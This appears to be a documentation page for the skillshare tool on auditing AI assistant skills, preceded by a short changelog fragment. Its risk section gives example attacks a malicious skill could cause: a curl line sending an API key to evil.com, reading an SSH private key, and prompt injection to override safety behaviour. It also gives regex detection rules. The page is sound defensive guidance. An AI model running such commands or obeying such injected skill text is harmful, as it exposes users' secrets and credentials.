- how-to/advanced/security.md: pin {#periodic-scanning} on 'Periodic
Scanning', linked from this same page by anchor fragment.
- how-to/advanced/docker-sandbox.md: pin {#dev-profile} on 'Dev
Profile', same reason.
- how-to/daily-tasks/organizing-skills.md: pin
{#install-directly-into-folders} on that heading, same reason.
Without an explicit id, translating the heading text changes its
auto-generated slug and breaks the in-page link once translated.
- how-to/daily-tasks/creating-skills.md: the nested code-fence example
under 'Include examples' used the same 3-backtick fence for both the
outer block and the inner ```python block, so the inner fence's
info string didn't count as a closer but the following bare fence
did, silently truncating the outer block and leaving a dangling
opener for the rest of the file. Widened the outer fence to 4
backticks.
8.8 KiB
sidebar_position
| sidebar_position |
|---|
| 10 |
Securing Your Skills
AI skills are powerful — they instruct AI assistants to read files, run commands, and interact with your system. This guide helps you build a security workflow around skill installation and maintenance.
For the full command reference, see audit.
The Risk: AI Skill Supply Chain
Unlike traditional packages that run in sandboxed runtimes, AI skills operate through natural language instructions that the AI interprets and executes directly. A compromised skill can instruct an AI to:
- Exfiltrate secrets (
curl https://evil.com?key=$API_KEY) - Read credentials (
cat ~/.ssh/id_rsa) - Override safety behavior via prompt injection
- Hide malicious intent with zero-width Unicode characters
:::caution
A single malicious skill can access anything your AI assistant can — environment variables, SSH keys, cloud credentials, source code. Automated scanning catches known patterns, but human review remains essential.
For a detailed threat model and detection rules, see Why Security Scanning Matters.
:::
Defense in Depth
No single layer catches everything. Combine manual review, automated scanning, custom policies, and CI/CD gates:
| Layer | Tool | What it does |
|---|---|---|
| Review | Manual | Read SKILL.md before installing — check for suspicious commands |
| Audit | skillshare audit |
Automated pattern detection (100+ built-in rules, 5 severity levels, 6 analyzers) |
| Custom Rules | audit-rules.yaml |
Organization-specific patterns (internal secrets, allowlists) |
| CI/CD | Pipeline gate | Block PRs that introduce risky skills |
Supply-Chain Security Lifecycle
Security checkpoints depend on how a skill is installed (--track vs regular install):
flowchart TD
subgraph INSTALL ["Phase 1 — Install"]
I1["skillshare install <source>"] --> I2{"Install mode"}
I2 -- "Regular skill" --> I3{"Audit scan"}
I3 -- "At/above threshold" --> I4["Blocked (unless --force) ✗"]
I3 -- "Pass / --force" --> I5["Record in .metadata.json<br/>(sha256 per file)"]
I5 --> I6["Installed skill ✓"]
I2 -- "Tracked repo (--track)" --> I7["Clone repo with .git"]
I7 --> I8{"Audit full repo<br/>(same threshold)"}
I8 -- "At/above threshold" --> I9["Blocked + cleanup ✗<br/>(manual cleanup if auto-remove fails)"]
I8 -- "Pass / --force" --> I10["Tracked repo installed ✓<br/>(no file_hashes metadata)"]
end
subgraph UPDATE ["Phase 2 — Update"]
U1["skillshare update _repo"] --> U2["git pull"]
U2 --> U3{"Post-update audit<br/>(threshold gate)"}
U3 -- "At/above threshold" --> U4["Rollback<br/>(auto in CI/non-TTY)"]
U3 -- "Clean" --> U5["Tracked repo updated ✓"]
R1["skillshare update <skill>"] --> R2["Reinstall from source"]
R2 --> R3{"Install-time audit<br/>(threshold gate)"}
R3 -- "At/above threshold" --> R4["Blocked ✗"]
R3 -- "Pass" --> R5["Refresh metadata hashes"]
R5 --> R6["Regular skill updated ✓"]
end
subgraph INTEGRITY ["Phase 3 — Integrity"]
A1["skillshare audit"] --> A2{"file_hashes metadata present?"}
A2 -- "No" --> A3["Hash checks skipped"]
A2 -- "Yes" --> A4{"Compare SHA-256"}
A4 -- "All match" --> A8["Clean ✓"]
A4 -- "Mismatch" --> A5["content-tampered<br/>(MEDIUM)"]
A4 -- "File missing" --> A6["content-missing<br/>(LOW)"]
A4 -- "Extra file" --> A7["content-unexpected<br/>(LOW)"]
end
I10 --> U1
I6 --> R1
I6 --> A1
I10 --> A1
U5 --> A1
R6 --> A1
style I4 fill:#ef4444,color:#fff
style I9 fill:#ef4444,color:#fff
style U4 fill:#ef4444,color:#fff
style R4 fill:#ef4444,color:#fff
style I6 fill:#22c55e,color:#fff
style I10 fill:#22c55e,color:#fff
style U5 fill:#22c55e,color:#fff
style R6 fill:#22c55e,color:#fff
style A8 fill:#22c55e,color:#fff
style A5 fill:#f59e0b,color:#000
style A6 fill:#fbbf24,color:#000
style A7 fill:#fbbf24,color:#000
style I3 fill:#f59e0b,color:#000
style I8 fill:#f59e0b,color:#000
style U3 fill:#f59e0b,color:#000
style R3 fill:#f59e0b,color:#000
style A4 fill:#f59e0b,color:#000
Key design:
- Regular skill install/update — audit runs before acceptance; successful installs/updates write
file_hashesmetadata - Tracked repo install gate — fresh
--trackinstalls are audited across the whole cloned repository before acceptance - Tracked repo update gate —
skillshare updateaudits aftergit pull; findings at/above threshold trigger rollback automatically in non-interactive mode - Integrity verification scope —
content-*hash checks run only whenfile_hashesmetadata exists
Security Checklist
:::tip Three-stage checklist
Before installing:
- Review the source repository (stars, contributors, recent activity)
- Read the SKILL.md — look for
curl,wget,eval, credential paths - Dry-run first:
skillshare install <source> --dry-run
After installing:
- Run
skillshare auditand review all findings - Check for HIGH/MEDIUM findings even if the skill "passed" (default threshold is CRITICAL)
- Re-audit periodically — new rules may catch previously undetected patterns
For teams:
- Set
audit.block_threshold: HIGHin config - Create custom rules for organization-specific secret patterns
- Add audit to your CI pipeline for shared skill repositories
- Schedule periodic scans (see Periodic Scanning below)
:::
Organizational Policy
Block Threshold
The default threshold only blocks CRITICAL findings. For teams, a stricter threshold is recommended:
# ~/.config/skillshare/config.yaml
audit:
block_threshold: HIGH # Blocks HIGH and CRITICAL findings
This catches obfuscation, destructive commands, and hidden content injection — patterns that are almost always malicious in skill files.
Custom Rules
Add organization-specific detection patterns. Common use cases:
- Internal API key formats (
corp-api-key-*,internal-token-*) - Disallowed domains or services
- Suppressing false positives for trusted CI automation
# ~/.config/skillshare/audit-rules.yaml
rules:
- id: internal-token-leak
severity: HIGH
pattern: internal-token
message: "Internal API token pattern detected"
regex: '(?i)\b(corp-api-key|internal-token)-[A-Za-z0-9]{10,}\b'
- id: destructive-commands-2
severity: MEDIUM
pattern: destructive-commands
message: "Sudo usage (downgraded for CI automation)"
regex: '(?i)\bsudo\s+'
For the full custom rules reference (merge semantics, disabling rules, exclude patterns), see audit rules — Custom Rules.
Periodic Scanning
Rules evolve — a skill that was clean at install time may match new rules added later. Schedule periodic scans:
# crontab: scan all skills weekly, log results
0 9 * * 1 skillshare audit --json >> /var/log/skillshare-audit.json 2>&1
CI/CD Integration
Basic Pipeline Gate
# Fail the pipeline if any skill has HIGH+ findings
skillshare audit --threshold high
# Exit code: 0 = clean, 1 = findings found
Real-World Example: Skill Hub PR Validation
The skillshare-hub community repository uses skillshare audit to gate pull requests. Every PR that modifies skills is automatically scanned, and audit results are posted as a PR comment:
# .github/workflows/validate-pr.yml (simplified)
name: Validate PR
on:
pull_request:
paths: ['skills/**']
jobs:
audit:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- uses: runkids/setup-skillshare@v1
with:
source: ./skills
audit: true
audit-threshold: high
For the full workflow (including PR comment reporting and artifact upload), see the validate-pr.yml source.
For more CI/CD patterns (SARIF upload, strict profiles, manual setup), see the CI/CD Skill Validation recipe.
See Also
audit— CLI command referenceaudit rules— Rule management and customization- Audit Engine — How the engine works (threat model, risk scoring, tiering)
- Best Practices — Naming, organization, and security hygiene
- Project Setup — Project-scoped skill configuration